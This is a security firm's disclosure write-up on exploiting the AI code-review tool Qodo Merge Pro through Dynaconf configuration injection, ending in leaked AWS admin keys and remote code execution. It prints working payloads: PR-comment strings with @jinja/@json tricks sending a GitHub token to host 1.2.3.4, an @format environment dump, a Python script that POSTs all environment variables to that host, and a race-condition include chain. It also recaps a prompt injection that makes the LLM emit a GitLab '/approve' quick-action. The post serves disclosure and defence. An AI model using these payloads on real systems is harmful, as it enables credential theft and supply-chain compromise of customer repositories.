No items found.
January 15, 2026
·
0
Minutes Read

How We Exploited Qodo: From a PR Comment to RCE and an AWS Admin Key - Leaked Twice

AI Security
January 15, 2026
·
0
Minutes Read

How We Exploited Qodo: From a PR Comment to RCE and an AWS Admin Key - Leaked Twice

AI Security
January 15, 2026
·
0
Minutes Read
Nils Amiet
Senior Security Researcher
Find out more
table of contents
Talk Directly To Experts Now!
Share on
Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

In this blog post, we explain how we leaked Qodo Merge Pro's AWS secret key that had Administrator permissions and how we obtained Remote Code Execution on their GitHub app production server. A malicious attacker could have taken over their AWS infrastructure and with the attack on the GitHub app, gained write access to their customers' repositories for a massive supply chain attack.

This is a technical write-up of some of the vulnerabilities we disclosed at Black Hat USA last summer. It is part of a series of blog posts about security vulnerabilities we found in AI developer tools. This post also describes previously unreleased vulnerabilities. This is published for awareness purposes in the hopes that others can avoid similar vulnerabilities. Secondarily, we want to show how just knowing about prompt injection isn't enough. There needs to be a solid understanding of the environment, features, and systems involved to identify the risks in AI-powered applications. Otherwise, devastating impacts may go unidentified.

Note: All the vulnerabilities described in this blog post have been fixed as of October 2025.

Kudos to Qodo for quickly remediating these issues after reception of our responsible disclosure.

Since this blog post is a follow-up to events that took place last year, let's go through a quick recap.

Round 1: Recap

In August 2024, I wrote about 2 vulnerabilities I found in Qodo Merge, an open-source AI code review tool. At the time this was published, the vulnerabilities were still exploitable. A few months later, I also gave a talk at 38C3 about those vulnerabilities. Then, I moved on to research vulnerabilities in other AI developer tools.

A few weeks later, after I wrapped up the research on CodeRabbit, I noticed that Qodo had pushed a fix to the exploit I disclosed at 38C3 and decided to look into it.

As a reminder, let's quickly detail what those 2 vulnerabilities were.

1) Our first Qodo Merge exploit allowed us to leak a GitHub access token used in a Qodo Merge GitHub Action. This token had write permissions to the repository so it could have been used to modify GitHub repositories that were using Qodo Merge as a GitHub Action with the default settings. That includes manipulating the git history, updating existing GitHub releases and performing lateral moves leading to potential leakage of GitHub repository secrets in certain cases.

The exploit was injected through a GitHub Pull Request (PR) comment. For example: the following comment could be posted on a PR to leak the GitHub access token to our attacker-controlled server at 1.2.3.4:

Exploiting Qodo Merge to leak its GitHub access token through a GitHub PR comment

2) Our second exploit allowed for a privilege escalation on Gitlab quick-actions through a prompt injection. This affected people specifically using Qodo Merge on Gitlab projects. Indeed, we could trick an LLM into outputting a Gitlab quick-action such as "/approve" that would be posted by Qodo Merge on a Gitlab Merge Request (MR) comment. Gitlab would then execute the quick-action and, for example, approve a merge request with potentially more permissions than the user had. A malicious actor with low permissions could exploit this vulnerability to elevate their permissions and execute Gitlab quick actions with those elevated permissions (the ones of Qodo Merge). The image below explains this in more detail.

Prompt injection to Privilege escalation through Gitlab quick-actions

Round 2: Dynaconf bypass

Now that the recap is done, let's continue with our story.

As mentioned earlier, Qodo pushed fixes to both exploits. We'll focus on the first one here, since this is the most interesting one. They added a list of forbidden arguments that couldn't appear in GitHub comments. Here is a list of the forbidden arguments introduced in that fix:

  • .base_url
  • .bearer_token
  • .enable_auto_approval
  • .enable_local_cache
  • .git_provider
  • .jira_base_url
  • .local_cache_path
  • openai.key
  • .override_deployment_type
  • .personal_access_token
  • .private_key
  • .secret_provider
  • .skip_keys
  • .uri
  • .url
  • .webhook_secret

Since .base_url is now forbidden, this indeed blocks our original exploit because it contains .base_url:

/ask What does this do? --github.base_url=http://1.2.3.4

However, this didn't fix the root issue. Let's see how this can be bypassed.

Introducing Dynaconf

Qodo Merge uses a Python library called Dynaconf to handle its internal configuration. This is a convenient library for managing the configuration of an application because it's easy to use and it has useful features such as reading a set of key/value pairs from a configuration file.

Configuration Management for Python

Indeed, one can normally get and set key/value pairs on a Dynaconf object:

from dynaconf import Dynaconf

settings = Dynaconf()
key = "foobar"
value = 42
settings.set(key, value)
print(settings.get("foobar") == 42)  # prints True

Alternatively, the Dynaconf object can be built and populated with key/value pairs stored in a configuration file. This configuration file can be written in various formats supported by Dynaconf and one of them is TOML. This is the config file format that Qodo Merge uses.

For example, a configuration file named configuration.toml can have the following contents:

[some_table]
foo = "bar"
name = "John"
age = 42

And a Dynaconf object that contains the key/values stored in the above configuration file can be created:

from dynaconf import Dynaconf

settings = Dynaconf(
    settings_files=["configuration.toml"],
)
foo = settings.get("some_table.foo")
name = settings.get("some_table.name")
age = settings.get("some_table.age")
print(foo == "bar")  # prints True
print(name == "John")  # prints True
print(age == 42)  # prints True

Fix 1 bypass: Dynaconf's dynamic variables

Now that we're more familiar with Dynaconf, let's get back to Qodo Merge. Whenever a GitHub comment contains --key=value, Qodo Merge will set key to value in its internal Dynaconf object. So, in our exploit above, the following will be executed by Qodo Merge on its internal Dynaconf settings object:

settings.set("github.base_url", "http://1.2.3.4")

But the fix that introduces forbidden arguments blocks this specific exploit.

However, it turns out that Dynaconf has advanced features that allow for unexpected behavior by default. Indeed, in addition to managing key-value pairs, Dynaconf will perform special transformations to a value when a key/value pair is inserted/modified, if the value contains specific syntax named Dynamic Variables.

For example, Dynaconf will convert JSON strings to a dict if it's prefixed with @json:

value = '@json {"foo": "bar"}'
settings.set("key", value)
print(settings.get("key") == dict(foo="bar"))
# prints "True"

It will also evaluate Jinja expressions prefixed with @jinja:

value = "@jinja {{ 2 + 2 }}"
settings.set("key", value)
print(settings.get("key") == "4")
# prints "True"

These features can be combined:

value = '@json @jinja { "two_plus_two": "{{ 2 + 2 }}" }'
settings.set("key", value)
print(settings.get("key") == dict(two_plus_two="4"))
# prints "True"

Leveraging those Dynaconf features, we can rewrite our exploit so that it achieves the same goal as before, but without containing any of the forbidden arguments.

So, we go from this:

/ask who are you? --github.base_url=http://1.2.3.4​

To this:

/ask who are you? "--github=@json @jinja {{\"{{\"[0]}}\"user_token\":\"
{{this.GITHUB_TOKEN}}\",\"BASE_URL\":\"http://1.2.3.4\"{{\"}}\"[0]}}" 
"--github.user_token=@jinja {{this.GITHUB_TOKEN}}"

We reported this to Qodo and they pushed another fix which added .user to the list of forbidden arguments. Fixing security issues can be hard.

Indeed, this new fix blocked our bypass to the first fix, but it still didn't fix the root issue.

Fix 2 bypass: Using advanced Dynaconf features

So, we wrote another exploit that achieved the same goal but without containing .base_url nor .user. This time we used another trick. We used a Jinja expression to modify the Dynaconf object directly using __setattr__().

We went from this:

/ask who are you? "--github=@json @jinja {{\"{{\"[0]}}\"user_token\":\"
{{this.GITHUB_TOKEN}}\",\"BASE_URL\":\"http://1.2.3.4\"{{\"}}\"[0]}}" 
"--github.user_token=@jinja {{this.GITHUB_TOKEN}}"

To this:

/ask who are you? "--github=@json @jinja {{\"{{\"[0]}}\"user_token\":\"
{{this.GITHUB_TOKEN}}\",\"BASE_URL\":\"http://1.2.3.4\"{{\"}}\"[0]}}" 
"--github.foo=42" 
"--github.foo=@jinja {{this.github.__setattr__(\"user_token\", this.GITHUB_TOKEN)}}"

And the exploit still worked because it didn't contain any of the forbidden arguments. This cat and mouse game could have continued forever at this rate.

We reported this to Qodo and moved on. A few days later, I noticed that Qodo had a SaaS version of this tool called Qodo Merge Pro so I decided to have a look at it too.

Qodo Merge Pro

While Qodo Merge is open source, Qodo Merge Pro is the SaaS version that comes as a GitHub app.

At the time I'm writing this, Qodo Merge Pro has over 15,000 installs. Upon installation, the user is asked to select on which repositories they would like to install Qodo Merge Pro. When doing this, the user grants Qodo read and write access to the selected repositories. The exact set of granted permissions is the following:

"permissions": {
    "actions": "read",
    "checks": "read",
    "contents": "write",
    "discussions": "write",
    "issues": "write",
    "metadata": "read",
    "pull_requests": "write"
},

Qodo Merge and Qodo Merge Pro have a feature that lets a user dump non-sensitive key/value pairs stored in the Dynaconf object. This can be achieved by writing /config in a comment. The app replies with a comment containing the key/value pairs.

Dumping the Dynaconf key/value pairs with /config

Qodo Merge dumps the whole config object but takes care of removing any secrets, such as anything loaded from the .secrets.toml file, where Qodo Merge secrets are typically located, or specific keys such as LLM provider API keys for example. Here's a code snippet from Qodo Merge's code where the Dynaconf object to be dumped with /config is built:

def _prepare_pr_configs(self) -> str:
        conf_file = get_settings().find_file("configuration.toml")
        conf_settings = Dynaconf(settings_files=[conf_file])
        configuration_headers = [header.lower() for header in conf_settings.keys()]
        relevant_configs = {
            header: configs for header, configs in get_settings().to_dict().items()
            if (header.lower().startswith("pr_") or header.lower().startswith("config")) and header.lower() in configuration_headers
        }

        skip_keys = ['ai_disclaimer', 'ai_disclaimer_title', 'ANALYTICS_FOLDER', 'secret_provider', "skip_keys", "app_id", "redirect",
                     'trial_prefix_message', 'no_eligible_message', 'identity_provider', 'ALLOWED_REPOS',
                     'APP_NAME', 'PERSONAL_ACCESS_TOKEN', 'shared_secret', 'key', 'AWS_ACCESS_KEY_ID', 'AWS_SECRET_ACCESS_KEY', 'user_token',
                     'private_key', 'private_key_id', 'client_id', 'client_secret', 'token', 'bearer_token', 'jira_api_token','webhook_secret']
        partial_skip_keys = ['key', 'secret', 'token', 'private']
        extra_skip_keys = get_settings().config.get('config.skip_keys', [])
        if extra_skip_keys:
            skip_keys.extend(extra_skip_keys)
        skip_keys_lower = [key.lower() for key in skip_keys]

Therefore we shouldn't find any secrets in the key/value pairs that are dumped. And so far, this was true. However, there was another way.

Qodo Merge Pro, just like Qodo Merge, allows users to place a configuration file at the root of the repository to overwrite some settings. Now, what if we overwrite some key/value pairs and combine that with Dynaconf special features? Now we're talking!

Reaping secrets

We placed a .pr_agent.toml file at the root of the repository with the following contents:

[pr_update_changelog]​
extra_instructions="@format  pwned: ```{env}```"

What this does, is the same as running this code:

settings.set("pr_update_changelog.extra_instructions", "@format pwned: ```{env}```")

The @format Dynaconf dynamic variable will be evaluated and {env} will be replaced with all the environment variables of the running process.

Next, we simply asked Qodo Merge Pro to dump its config again with /config and this is what we found:

Environment variables were copied to the pr_update_changelog.extra_instructions key

All the environment variables were there on a very long single line. Here are the relevant pieces in a more readable format. Some irrelevant variables were omitted for brevity:

==================== PR_UPDATE_CHANGELOG ====================
pr_update_changelog.push_changelog_changes = False
pr_update_changelog.extra_instructions = "pwned: ```environ({
'CONFIG.APP_NAME': 'pr-agent-pro-github', 
'CONFIG.ALLOWED_REPOS': '(CENSORED)', 
'CONFIG.ANALYTICS_FOLDER': '/logs', 
'PROMETHEUS_MULTIPROC_DIR': '/app/prometheus_metrics', 
'PYTHON_SHA256': '24887b92e2afd4a2ac602419ad4b596372f67ac9b077190f459aba390faf5550', 
'_': '/usr/local/bin/gunicorn', 
'SERVER_SOFTWARE': 'gunicorn/22.0.0', 
'TIKTOKEN_CACHE_DIR': '/usr/local/lib/python3.12/site-packages/litellm/litellm_core_utils/tokenizers', 
'AWS_ACCESS_KEY_ID': 'AKI(CENSORED)', 
'AWS_SECRET_ACCESS_KEY': '/l33t(CENSORED)', 
'AWS_REGION_NAME': '(CENSORED)'
})```"
pr_update_changelog.add_pr_link = True

Those environment variables notably contained an AWS secret key. But this was not a regular AWS secret key. It was a very l33t AWS secret key. Not just because its value started with /l33t but because of its permissions. Can you guess what permissions it had? Of course, AdministratorAccess :) Let's see how we can obtain this information.

Enumerating permissions

Let's see how permissions can be listed with the AWS CLI tool. First we configure the CLI tool to use the leaked AWS Secret Key:

$ aws configure
AWS Access Key ID [None]: AKI(CENSORED)
AWS Secret Access Key [None]: /l33t(CENSORED)
Default region name [None]: (CENSORED)
Default output format [None]:

Next, we check the user identity associated with this AWS secret key:

$ aws iam get-user
{
    "User": {
        "Path": "/",
        "UserName": "Administrator",
        "UserId": "(CENSORED)",
        "Arn": "arn:aws:iam::(CENSORED):user/Administrator",
        "CreateDate": "2022-08-07T12:54:51Z",
        "PasswordLastUsed": "2025-03-18T08:19:15Z",
        "Tags": [
            {
                "Key": "(CENSORED)",
                "Value": "(CENSORED)"
            }
        ]
    }
}

The user name is Administrator. That sounds pretty good so far. But let's get a confirmation.

We then enumerate groups the Administrator user is part of:

$ aws iam list-groups-for-user --user-name Administrator
{
    "Groups": [
        {
            "Path": "/",
            "GroupName": "Administrators",
            "GroupId": "(CENSORED)",
            "Arn": "arn:aws:iam::(CENSORED):group/Administrators",
            "CreateDate": "2022-08-07T12:54:17Z"
        }
    ]
}

The Administrator user is in a group called Administrators (note that there's an "s" at the end). Finally, we list the group policies attached to the Administrators group:

$ aws iam list-attached-group-policies --group-name Administrators
{
    "AttachedPolicies": [
        {
            "PolicyName": "AdministratorAccess",
            "PolicyArn": "arn:aws:iam::aws:policy/AdministratorAccess"
        }
    ]
}

The Administrators group has the AdministratorAccess policy attached. This is a built-in AWS policy that grants administrator privileges. This is now confirmed. We have leaked an AWS Secret Key with AdministratorAccess permissions, granting us full access to AWS services and resources in Qodo Merge Pro's AWS account!

AWS Secret Key with AdministratorAccess policy permissions
Source: https://docs.aws.amazon.com/aws-managed-policy/latest/reference/AdministratorAccess.html

After we responsibly disclosed this to Qodo, they eventually applied a proper fix to the issue. They disabled Dynaconf dynamic variables by setting the AUTO_CAST_FOR_DYNACONF environment variable to "false". This effectively disables Dynaconf dynamic variables such as interpreting @format, @json or @jinja. This finally fixes the root issue. Kudos to Qodo for fixing it.

Round 3: Includes and Docs

But this was not the end. A few months later, as I was writing this blog post, I had another look at the Dynaconf website and noticed that Dynaconf supported .py files for configuration. I immediately thought that this could potentially be exploited.

Dynaconf supports multiple configuration file formats, including Python files
Source: https://www.dynaconf.com/settings_files/#supported-formats

The Dynaconf documentation contains an example showing how configuration files can include other configuration files. For example, a configuration.toml file could include another file named other.toml, or even another file in another format, such as a Python file named config.py. This can be achieved by placing a key named dynaconf_include with an associated value that is a list of paths to files that should be included, in a config file. So, that means we could have a .pr_agent.toml file at the root of a GitHub repository and if this file includes a .py file, Qodo Merge Pro will execute the code in the included Python file. Here's an example configuration file that would do this:

dynaconf_include = ["config.py"]

[default]
foo="bar"

Now, for this to be exploitable by an attacker, an existing Python file that does something malicious when executed needs to exist locally on the Qodo Merge Pro GitHub app server. So far, we can execute any Python file which is already present on the file system. But there's not much we can do with existing files since there is no way pass arguments to those files. It would be much more interesting if we could write an arbitrary Python file and then execute it. This is where the /help_docs tool comes in.

The /help_docs tool

Qodo Merge Pro recently introduced a new tool that can be invoked by writing a PR comment such as /help_docs some question?

This tool can be configured to git clone a repository that contains documentation files (for example Markdown files) so that when a user invokes the tool with /help_docs, the tool tries to answer the question based on the contents of the documentation files present in the git cloned repository. The repository is git cloned to a temporary directory with a random name under /tmp. Also, Qodo Merge Pro quickly deletes this directory as soon as it's done reading the files in it. There's a race condition to be exploited here if we can execute the Python file before it gets deleted.

Indeed, this can be exploited by crafting a documentation repository that contains a malicious Python file, then ask Qodo Merge Pro to answer a question based on this repository so that it git clones the repo to some directory in /tmp and therefore copies our malicious Python file somewhere under /tmp.

Now, this is not straightforward to exploit in the current configuration because the time window to trigger the dynaconf_include is very short since the git cloned repo gets deleted quickly after git clone is performed. But this operation can be delayed by adding 100,000 dummy .txt files in our documentation repository. Now Qodo Merge Pro will spend a few seconds going through all those files before deleting the temporary directory, leaving a much larger time window for exploitation.

The last missing piece to the puzzle is the precise location of our malicious Python file, since it gets cloned to a temporary directory with a random name, there's no way for an attacker to guess this filename in advance. Well, since dynaconf_include allows paths that contain globs, this is actually not a problem. A glob can be used to match any sub-directory that contains our Python file.

To recap, here are the detailed steps to exploit this vulnerability:

  • Step 1: Create a private GitHub repo A
    • Install Qodo Merge Pro on this repo
    • Create a file .pr_agent.toml in this repo with the following contents:
dynaconf_include = ["/tmp/**/aaaa_some_unique_filename_very_unique.py"]

[default]
foo="bar"
  • Step 2: Create a private GitHub repo B
    • Install Qodo Merge Pro on this repo
    • Create a file .pr_agent.toml in this repo with the following contents:
[pr_help_docs]
repo_url = "https://github.com/myusername/repoC.git"
docs_path = "docs"            # The documentation folder
repo_default_branch = "main"  # The branch to use in case repo_url overwritten
supported_doc_exts = [".md", ".mdx", ".rst"]
  • Step 3: Create a public GitHub repo C at https://github.com/myusername/repoC
    • In this repo, create a docs folder
    • Create a dummy .md file in docs/md/foobar.md with dummy contents
    • Create 100,000 dummy .txt files in docs/other/file{1-100000}.txt where each file contains a single character, for example "a"
    • Create a malicious Python file in docs/aaaa_some_unique_filename_very_unique.py with the following contents, where 1.2.3.4 is a web server that we control where we log incoming HTTP requests. Note that this file's contents can be replaced with any Python code that will be executed on the Qodo Merge Pro GitHub app server:
import os
import json
import urllib.request

# send those env vars via http here
payload = dict(os.environ)
# Convert to JSON and encode
json_data = json.dumps(payload).encode("utf-8")

url = "http://1.2.3.4"

# Create a request with headers for JSON
req = urllib.request.Request(
    url,
    data=json_data,
    headers={"Content-Type": "application/json"},
    method="POST"
)

# Send the request and read the response
with urllib.request.urlopen(req) as response:
    result = response.read().decode("utf-8")

FOO="BAR"
  • Step 4: Prepare for triggering the race condition
    • Create a pull request in repo A (any pull request, content doesn't matter)
    • Close this pull request, but be ready to reopen it by clicking the Reopen button on GitHub
      • This is the easiest because Qodo Merge Pro re-evaluates the Dynaconf config file when the PR is reopened.
    • Create a pull request in repo B (content doesn't matter)
  • Step 5: Exploitation
    • Write a PR comment on the pull request in repo B that says /help_docs some question?
    • Wait about 5 seconds
      • This gives Qodo Merge Pro some time to git clone repo C but one should not wait too long so that it's done reading all the dummy files because then the temporary repo gets deleted
    • Reopen the pull request in repo A to trigger the dynaconf_include
    • Collect the leaked environment variables on the server at 1.2.3.4 :)
    • If it doesn't work on the first try, one can repeat step 5 with a slightly different wait time than 5 seconds until it works. It worked on the 2nd try for me.

On our server at 1.2.3.4 we received the leaked environment variables, which contained their AWS secret key, again! I was surprised to see that the AWS secret key was the same and that it had not been rotated since we disclosed the other vulnerability. Also, the key still had AdministratorAccess permissions. Again, we had full access to their AWS infrastructure but we also had a direct way to get RCE on the GitHub app production server now.

Remediation

After we responsibly disclosed this new vulnerability to Qodo, they quickly fixed it.

Their fix disabled Dynaconf core_loaders and added a custom in-house loader that restores the default features but disallows includes, preloads and various other dangerous Dynaconf features an attacker may leverage. Here are the 2 pull requests that implemented this fix:

Qodo also rotated their AWS secret key. It's very important to rotate secrets as soon as they have been compromised. Even if a security researcher is not a malicious person, once the secret has been leaked, one should assume it's compromised. And since this secret gave access to other secrets, other secrets should be rotated too. AdministratorAccess is a very dangerous permission and one should follow the least privilege principle when granting permissions.

Impacts summary

We were able to obtain the AWS Admin key of Qodo Merge Pro.

Let's reflect on what this means. A malicious person who has their hands on this AWS secret key could do a lot of damage.

Indeed, this means they could do the following, to name a few examples:

  • List and access secrets in the AWS Secrets manager
    • Those secrets may grant permissions to access 3rd party services
  • Enumerate, create, modify or delete resources (VMs, or containers running in their Kubernetes cluster)
    • That includes full access to production services
    • Since the key has AdministratorAccess permissions, this is a full pass, giving an attacker RCE to their production systems
  • Get free AWS resources
    • The Admin key grants full access to all AWS services and Qodo pays the bill
  • Denial of service
  • Read/Write access to customers' repositories
    • Indeed, since Qodo Merge Pro users granted read/write access to their repositories upon installation, an attacker who has this secret key can also write to those repositories for a potentially massive supply chain attack on high value repositories, such as libraries that are used by many others - This is similar to what happened with CodeRabbit
    • An attacker can also access any private repositories that Qodo Merge Pro has access to
    • As explained above, Qodo Merge Pro has over 15k installs as of writing, and each install has granted read/write access to 1 or more repositories so that affects a considerable amount of repos.

This is a serious vulnerability with critical impacts.

During round 3, we additionally obtained direct RCE on the Qodo Merge Pro Github App server. Therefore, not only letting us leak their AWS secret key (again) and have the same impacts as described above, but also execute arbitrary code on the machine directly. This means, the AWS key is not even needed to read/write to Qodo Merge Pro users' repositories in this case, since we have RCE on the production Qodo Merge Pro GitHub app machine, and this machine has access to user code.

Responsible disclosure

We responsibly disclosed the first critical vulnerability to Qodo by email in April 2025. They acknowledged the issue and pushed a fix the next day. This is now fixed in Qodo Merge Pro.

What about the open source Qodo Merge? Qodo released v0.29 that includes a fix for this vulnerability on May 17. Therefore, this is now also fixed in the open-source version.

We also responsibly disclosed the second critical vulnerability (Round 3 - Dynaconf include + /help_docs) to Qodo by email in September 2025 and this is now fixed.

After the disclosure of the Round 3 vulnerability, Qodo stated that this leaked AWS secret key with admin permissions was for a development only environment where no customer data is stored. We sent them the list of EC2 instance names and secret names in their secrets manager, some of which contained "prod" in their name, suggesting that there may be some overlap between their development and production environments:

$ aws secretsmanager list-secrets | jq -r '.SecretList.[].Name'
      ******-prod-********-service-account
      ******-prod-**********-key
      ******-prod-*******-key
      ******-prod-******-auth
      ******-prod-******-auth
      ******-prod-******-key
      ******-prod-**********-token
      ****************************************************************************
      ****************************************************************************
      ****************************************************************************
      ****************************
      **********
      *************************
      *******************
      ****************
      ****************
      ************************
      **********************
      ********************

$ aws ec2 describe-instances \
        --query 'Reservations[*].Instances[*].Tags[?Key==`Name`].Value | []' \
        --output text
      **********************
      *******************
      ******-prod-******
      ********************
      ************************
      ************************
      **************
      *****************
      ********
      ************
      ********
      ********************
      *********************

Qodo replied and said that these were misnamed.

Regardless of what environment the AWS secret gave access to, the RCE vulnerability on the production GitHub app server could have been exploited to get read and write access to customer repositories.

Here is a summary of the disclosure timeline:

Conclusions

Fixing security vulnerabilities can be hard. Blocking an exploit is one thing, but that may only be solving half of the problem. One should make sure to cover all variants of an exploit and address the root issue directly. Software developers often depend on third party libraries that have many features. One should review those dependencies carefully and make sure that the features offered by those libraries have been covered in the threat model.

Permissions are still a problem. While it may be convenient to have a key that unlocks all doors, if that key ends up in the wrong hands, the consequences can be devastating. When a secret is compromised, it should be rotated immediately. Once again, security should be built-in from day one and is a continuous process. It happens to everyone and it's not a matter of if, but a matter of when and whether you're prepared for it or not. Designing your systems so it minimizes the impacts in case of a compromise and having a plan ready in case of compromise is a good start.

Ready To Connect With Our Research Team?

Share Your Question And We'll Route You Directly To a Technical Expert. No sales, no Friction.
Related Post